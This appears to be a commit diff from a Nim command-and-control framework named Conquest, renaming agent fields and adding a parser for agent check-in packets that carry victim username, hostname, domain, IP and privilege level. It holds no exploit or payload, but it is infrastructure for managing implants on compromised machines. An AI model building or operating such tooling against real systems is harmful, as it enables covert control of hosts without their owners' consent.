let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent( let a = Agent(
name: name, agentId: agentId,
listener: listener, listenerId: listenerId,
sleep: sleep, sleep: sleep,
pid: pid, pid: pid,
username: username, username: username,
@@ -66,11 +66,11 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName): for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent( let a = Agent(
name: name, agentId: agentId,
listener: listener, listenerId: listenerId,
sleep: sleep, sleep: sleep,
pid: pid, pid: pid,
username: username, username: username,

View File

@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite import system, terminal, tiny_sqlite
import ../utils import ../utils
import ../../common/types import ../../common/[types, utils]
# Utility functions # Utility functions
proc stringToProtocol*(protocol: string): Protocol = proc stringToProtocol*(protocol: string): Protocol =

View File

@@ -1,4 +1,4 @@
import ../common/types import ../common/[types, utils]
# Global variable for handling listeners, agents and console output # Global variable for handling listeners, agents and console output
var cq*: Conquest var cq*: Conquest

View File

@@ -1,7 +1,7 @@
import times, strformat, terminal, tables, json, sequtils, strutils import times, strformat, terminal, tables, json, sequtils, strutils
import ./[parser] import ./[parser]
import ../utils import ../utils
import ../../common/types import ../../common/[types, utils]
proc initAgentCommands*(): Table[string, Command] = proc initAgentCommands*(): Table[string, Command] =
var commands = initTable[string, Command]() var commands = initTable[string, Command]()
@@ -158,7 +158,7 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
if input.replace(" ", "").len == 0: return if input.replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input) cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.agentId}] ", resetStyle, styleBright, input)
# Convert user input into sequence of string arguments # Convert user input into sequence of string arguments
let parsedArgs = parseInput(input) let parsedArgs = parseInput(input)

View File

@@ -1,7 +1,6 @@
import strutils, strformat, streams import strutils, strformat, streams, times
import ../utils import ../utils
import ../../common/types import ../../common/[types, utils, serialize]
import ../../common/serialize
proc serializeTask*(task: Task): seq[byte] = proc serializeTask*(task: Task): seq[byte] =
@@ -98,4 +97,66 @@ proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
resultType: resultType, resultType: resultType,
length: length, length: length,
data: data data: data
) )
proc deserializeNewAgent*(data: seq[byte]): Agent =
var unpacker = initUnpacker(data.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
username = unpacker.getVarLengthMetadata()
hostname = unpacker.getVarLengthMetadata()
domain = unpacker.getVarLengthMetadata()
ip = unpacker.getVarLengthMetadata()
os = unpacker.getVarLengthMetadata()
process = unpacker.getVarLengthMetadata()
pid = unpacker.getUint32()
isElevated = unpacker.getUint8()
sleep = unpacker.getUint32()
return Agent(
agentId: uuidToString(agentId),
listenerId: uuidToString(listenerId),
username: username,
hostname: hostname,
domain: domain,
ip: ip,
os: os,
process: process,
pid: int(pid),
elevated: isElevated != 0,
sleep: int(sleep),
jitter: 0.0, # TODO: Remove jitter
tasks: @[],
firstCheckin: now(),
latestCheckin: now()
)

View File

@@ -1,6 +1,6 @@
import strutils, strformat, times import strutils, strformat, times
import ../utils import ../utils
import ../../common/types import ../../common/[types, utils]
proc parseInput*(input: string): seq[string] = proc parseInput*(input: string): seq[string] =
var i = 0 var i = 0
@@ -77,8 +77,8 @@ proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
# Construct the task payload prefix # Construct the task payload prefix
var task: Task var task: Task
task.taskId = uuidToUint32(generateUUID()) task.taskId = uuidToUint32(generateUUID())
task.agentId = uuidToUint32(cq.interactAgent.name) task.agentId = uuidToUint32(cq.interactAgent.agentId)
task.listenerId = uuidToUint32(cq.interactAgent.listener) task.listenerId = uuidToUint32(cq.interactAgent.listenerId)
task.timestamp = uint32(now().toTime().toUnix()) task.timestamp = uint32(now().toTime().toUnix())
task.command = cast[uint16](command.commandType) task.command = cast[uint16](command.commandType)
task.argCount = uint8(arguments.len) task.argCount = uint8(arguments.len)

View File

@@ -1,7 +1,7 @@
import strutils, terminal, tables, sequtils, times, strformat, random, prompt import strutils, terminal, tables, sequtils, times, strformat, random, prompt
import std/wordwrap import std/wordwrap
import ../common/types import ../common/[types, utils]
# Utility functions # Utility functions
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
@@ -16,49 +16,6 @@ proc validatePort*(portStr: string): bool =
except ValueError: except ValueError:
return false return false
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid)
proc uuidToString*(uuid: uint32): string =
return uuid.toHex(8)
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
result[i] = char(b)
proc toBytes*(data: string): seq[byte] =
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
proc toHexDump*(data: seq[byte]): string =
for i, b in data:
result.add(b.toHex(2))
if i < data.len - 1:
if (i + 1) mod 4 == 0:
result.add(" | ") # Add | every 4 bytes
else:
result.add(" ") # Regular space
proc toBytes*(value: uint16): seq[byte] =
return @[
byte(value and 0xFF),
byte((value shr 8) and 0xFF)
]
proc toBytes*(value: uint32): seq[byte] =
return @[
byte(value and 0xFF),
byte((value shr 8) and 0xFF),
byte((value shr 16) and 0xFF),
byte((value shr 24) and 0xFF)
]
# Function templates and overwrites # Function templates and overwrites
template writeLine*(cq: Conquest, args: varargs[untyped]) = template writeLine*(cq: Conquest, args: varargs[untyped]) =
cq.prompt.writeLine(args) cq.prompt.writeLine(args)
@@ -153,7 +110,7 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
for l in listeners: for l in listeners:
# Get number of agents connected to the listener # Get number of agents connected to the listener
let connectedAgents = cq.agents.values.countIt(it.listener == l.name) let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name)
let rowCells = @[ let rowCells = @[
Cell(text: l.name, fg: fgGreen), Cell(text: l.name, fg: fgGreen),
@@ -217,14 +174,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) =
for a in agents: for a in agents:
var cells = @[ var cells = @[
Cell(text: a.name, fg: fgYellow, style: styleBright), Cell(text: a.agentId, fg: fgYellow, style: styleBright),
Cell(text: a.ip), Cell(text: a.ip),
Cell(text: a.username), Cell(text: a.username),
Cell(text: a.hostname), Cell(text: a.hostname),
Cell(text: a.os), Cell(text: a.os),
Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite), Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite),
Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite), Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite),
a.timeSince(cq.agents[a.name].latestCheckin) a.timeSince(cq.agents[a.agentId].latestCheckin)
] ]
# Highlight agents running within elevated processes # Highlight agents running within elevated processes